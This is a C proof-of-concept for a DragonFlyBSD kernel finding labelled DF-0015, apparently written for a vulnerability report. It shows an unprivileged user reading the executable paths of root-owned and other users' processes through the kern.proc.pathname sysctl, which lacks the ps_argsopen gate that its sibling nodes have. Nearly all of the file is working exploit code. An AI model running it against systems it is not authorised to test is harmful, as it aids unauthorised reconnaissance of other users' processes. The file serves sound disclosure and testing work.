DF-0015 / leak_pathname.c
/* * DF-0015 PoC - sysctl_kern_proc_pathname discloses the executable path of * arbitrary processes (including other users'/root's) with NO visibility * check, and is NOT controllable by the ps_argsopen hardening knob. * * sysctl_kern_proc_pathname (sys/kern/kern_proc.c:2080-2117) does pfind(pid) * and cache_fullpath() with NO p_trespass / ps_argsopen gate. Its siblings: * sysctl_kern_proc_args (kern_proc.c:1897) -> if((!ps_argsopen) && p_trespass(..)) goto done; * sysctl_kern_proc_cwd (kern_proc.c:2052) -> same gate * apply the gate. ps_argsopen defaults to 1 (kern_exec.c:103) which DISABLES * the gate; an admin who wants to hide other processes sets * sysctl kern.ps_argsopen=0 (kern_exec.c:104, CTLFLAG_RW) * at which point args/cwd are restricted to owner+root but pathname is NOT -- * it has no gate at all, so it leaks every process's exe path regardless. * * These are "node that takes a pid child" sysctls, so the pid must be passed * as a trailing MIB element via sysctlnametomib() + sysctl(), not via the * dotted sysctlbyname() name. * * Build (DragonFlyBSD): cc -o leak_pathname leak_pathname.c * Run as an UNPRIVILEGED user: ./leak_pathname * * Expected (bug present): * - kern.proc.pathname.<root pid> returns the path (e.g. /sbin/init) in * BOTH the default (ps_argsopen=1) and hardened (ps_argsopen=0) config. * - kern.proc.args.<root pid> and .cwd.<root pid> are open when * ps_argsopen=1 but BLOCKED when ps_argsopen=0. * => pathname is the lone sibling that cannot be restricted -> DF-0015. */ #include <sys/types.h> #include <sys/sysctl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static int ps_argsopen_value(void) { int mib[2] = { CTL_KERN, 14 /* KERN_PS_ARGOPEN */ }; /* fall back to sysctlbyname for portability */ int v = -1; size_t l = sizeof(v); if (sysctlbyname("kern.ps_argsopen", &v, &l, NULL, 0) != 0) v = -1; return v; } static void try_node(const char *label, const char *node, int pid) { int mib[8]; size_t miblen = 4; char buf[1024]; size_t len; int r; miblen = 4; if (sysctlnametomib(node, mib, &miblen) != 0) { printf(" %-22s .%-5d: nametomib failed\n", node, pid); return; } mib[miblen] = pid; len = sizeof(buf); r = sysctl(mib, miblen + 1, buf, &len, NULL, 0); if (r == 0 && len > 0) { buf[len < sizeof(buf) ? len : sizeof(buf) - 1] = 0; printf(" %-22s .%-5d: rc=0 len=%3zu '%s'\n", node, pid, len, buf); } else { printf(" %-22s .%-5d: rc=%d len=%zu (blocked/empty)\n", node, pid, r, len); } (void)label; } int main(int argc, char **argv) { int target = (argc > 1) ? atoi(argv[1]) : 1; /* default: init (root) */ printf("running as uid=%d (%s); self pid=%d; target pid=%d (not ours)\n", (int)getuid(), argv[0], (int)getpid(), target); printf("kern.ps_argsopen = %d\n\n", ps_argsopen_value()); printf("=== exe-path leak via kern.proc.pathname.<target> ===\n"); try_node("kern.proc.pathname", "kern.proc.pathname", target); printf("\n=== contrast: gated siblings on the same target ===\n"); try_node("kern.proc.args", "kern.proc.args", target); try_node("kern.proc.cwd", "kern.proc.cwd", target); printf("\n=== self control (we own self) ===\n"); try_node("kern.proc.pathname", "kern.proc.pathname", (int)getpid()); printf("\n=== several other root-owned daemons ===\n"); int pids[] = { 1, 68, 285, 328, 411, 699, 730, 0 }; for (int i = 0; pids[i]; i++) try_node("kern.proc.pathname", "kern.proc.pathname", pids[i]); printf("\nINTERPRETATION:\n"); printf(" - pathname.<target> returns a path -> exe path of a process we\n"); printf(" do NOT own is leaked to us.\n"); printf(" - If ps_argsopen==0 and args/cwd are blocked while pathname is\n"); printf(" NOT, then pathname is the un-gated sibling -> DF-0015 reproduced.\n"); return 0; } |